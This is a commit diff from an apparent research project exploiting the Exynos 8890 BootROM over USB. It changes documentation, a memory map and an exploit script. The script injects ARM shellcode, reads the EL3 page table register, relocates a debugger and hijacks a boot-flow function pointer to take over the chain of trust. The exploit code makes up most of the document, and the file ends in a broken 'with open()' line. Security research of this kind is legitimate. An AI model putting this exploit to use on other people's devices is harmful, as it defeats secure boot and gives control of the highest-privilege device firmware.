Loads and executes BL31, then returns debugger, then continues bootflow and enters recovery

documentation/source/BootROM_8890/boot_chain.rst

@@ -4,9 +4,13 @@ Booting
 =======
 This part describes the boot chain of the ``Exynos 8890`` SoC. 
 
-Booting Protocol
-================
-TODO document normal samsung boot chain
+Memory overview
+===============
+
+.. raw:: html
+
+   <iframe src="../_static/stack_and_functions.html" width="100%" height="1000px" frameborder="0" float='center'></iframe>
+
 
 Exploitation
 ============

documentation/source/_ignore/stack_and_functions.csv

@@ -10,7 +10,11 @@ start,end,name,order,comment,X0,LR
 0x02048000,0x0206ed10,BL2,,,,
 0x02069000,0x0206f000,Debugger,,,,
 0x020c0000,0x020c7000,Debugger relocated,,,,
+0x02048000,0x0204daf0,BL2 empty space?,,,,
+0x0204eb00,0x0204eb00,BL2 copy start/source,,,,
+0x020c2000,0x020e8d10,BL2 load address?,,,,
 0x0206ed10,0x02070000,End/Start peripheral space?,,,,
 0x02019e5c,0x02020e5c,Tried debugger space,,,,
 0x020C7800,0x020C8000,modem_interface,,,,
-0x14AC0000,0x14ac5000,mali@14AC0000,,,,
+0x14AC0000,0x14ac5000,mali@14AC0000,,,,
+0x2035600,0x2035608,TTBR0_EL3 address ptr,,,,

source/exploit/exploit.py

@@ -385,7 +385,7 @@ class ExynosDevice():
         _setup_debugger()
     
 
-    def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000):
+    def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000):
         """
         Relocates the debugger to another location. Make sure to have built the debugger with the correct addresses!
 
@@ -411,7 +411,7 @@ class ExynosDevice():
         # self.usb_write(b"FLSH") # Flush cache
         self.cd.restore_stack_and_jump(entry)
         assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger"
-        self.cd.relocate_debugger(g_data_received+0x1000, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
+        self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000
         
 
     def dumb_interact(self, dump_imems=False):
@@ -553,7 +553,7 @@ class ExynosDevice():
         shellcode = f"""
         ldr x0, debugger_addr
         blr x0
-        debugger_addr:   .quad 0x020c0000
+        debugger_addr:   .quad 0x02022000
         """
 
         shellcode = ks.asm(shellcode, as_bytes=True)[0]
@@ -579,25 +579,49 @@ class ExynosDevice():
         # self.cd.restore_stack_and_jump(0x000125b4)
 
     def get_ttbr0_el3(self):
+        """
+        Get the TTBR0_EL3 register using opcode.
+        """
         shellcode= f"""
         mov     x1, lr
         mrs     x0, ttbr0_el3
-        ldr     x2, =0x020c1000
+        ldr     x2, =0x206fd10
         str     x0, [x2]
         mov     lr, x1
         ret
         """
         shellcode = ks.asm(shellcode, as_bytes=True)[0]
-        self.cd.memwrite_region(0x020c0000, shellcode)
-        self.cd.jump_to(0x020c0000)
-        ttbr0 = u64(self.cd.memdump_region(0x020c1000, 8))
+        self.cd.memwrite_region(0x206ed10, shellcode)
+        self.cd.jump_to(0x0206ed10)
+        ttbr0 = u64(self.cd.memdump_region(0x0206fd10, 0x8))
         print(f"TTBR0_EL3: {hex(ttbr0)}")
         print(f"Bits: {ttbr0:064b}")
 
         # Overwrite it with 0's
-        self.cd.memwrite_region(0x020c1000, b"\x00" * 8)
-        ttbr0 = self.cd.memdump_region(0x020c1000, 8)
-        assert ttbr0 == b"\x00" * 8, "TTBR0_EL3 not overwritten"
+        self.cd.memwrite_region(0x0206ed10, b"\x00" * 0x8)
+        ttbr0 = self.cd.memdump_region(0x206ed10, 0x8)
+        assert ttbr0 == b"\x00" * 0x8, "TTBR0_EL3 not overwritten"
+
+
+    def test_write_execute(self, address):
+        """
+        At given address, test if it is possible to write and execute code, by writing a simple jump to, and jump back.
+        """
+
+        self.usb_write(b'PING')
+        assert self.usb_read(0x200) == b'PONG', "Debugger not alive before test"
+
+        shellcode = f"""
+        mov     x1, lr  
+        ret              
+        """
+
+        shellcode = ks.asm(shellcode, as_bytes=True)[0]
+        self.cd.memwrite_region(address, shellcode)
+        self.cd.jump_to(address)
+        self.usb_write(b"PING")
+        assert self.usb_read(0x200) == b"PONG", "Failed to jump back to debugger"
+        print(f'Jumped to {hex(address)} and back')
 
         
     def debugger_boot(self):
@@ -611,13 +635,10 @@ class ExynosDevice():
         logger.debug('State after setting up initial debugger')
         self.cd.arch_dbg.state.print_ctx()
 
-        # dumped = self.dump_memory(0x20000, 0x2070000)
-
         DEBUGGER_ADDR = 0x2069000 # 0x2069000
-        self.get_ttbr0_el3()
 
         # Relocate to other debugger
-        debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
+        debugger = open("../../dump/reloc_debugger_0x2048000.bin", "rb").read()
         self.relocate_debugger(debugger=debugger, entry=0x02048000, storage=0x02051000, g_data_received=0x02052000)
         DEBUGGER_ADDR = 0x02048000
 
@@ -707,6 +728,8 @@ class ExynosDevice():
         self.cd.memwrite_region(0x20219b8, p32(DEBUGGER_ADDR))
         # self.cd.restore_stack_and_jump(hijacked_fun)
 
+        # Write 'a1 00 00 00' to 0x0202a330
+
         self.cd.restore_stack_and_jump(0x02024010)
         
         time.sleep(2)
@@ -715,6 +738,18 @@ class ExynosDevice():
         self.usb_read(0x200) # GiAs
         self.cd.arch_dbg.fetch_special_regs()
 
+        BL31_ra = self.cd.arch_dbg.state.LR
+
+        # Relocate debugger back to the start of the stack
+        # debugger = open("../../dump/reloc_debugger_0x2019e5c.bin", "rb").read()
+        # self.relocate_debugger(debugger=debugger, entry=0x14ac3000, storage=0x14ac4200, g_data_received=0x14ac4400)
+        # DEBUGGER_ADDR = 0x14ac3000
+
+        # Again restore bootflow
+        self.cd.memwrite_region(0x020200dc, p32(hijacked_fun))
+        self.cd.restore_stack_and_jump(hijacked_fun)
+        time.sleep(2)
+
 
         # ==== Stage 3 BL2 ====
         self.send_normal_stage(open("../S7/g930f_latest/g930f_sboot.bin.3.bin", "rb").read())
@@ -738,6 +773,7 @@ class ExynosDevice():
         pass
 
 
+
 if __name__ == "__main__":
     arg = argparse.ArgumentParser("Exynos exploit")
     arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False)
@@ -769,3 +805,6 @@ if __name__ == "__main__":
     exynos.dumb_interact()
         
     sys.exit(0)
+
+
+with open()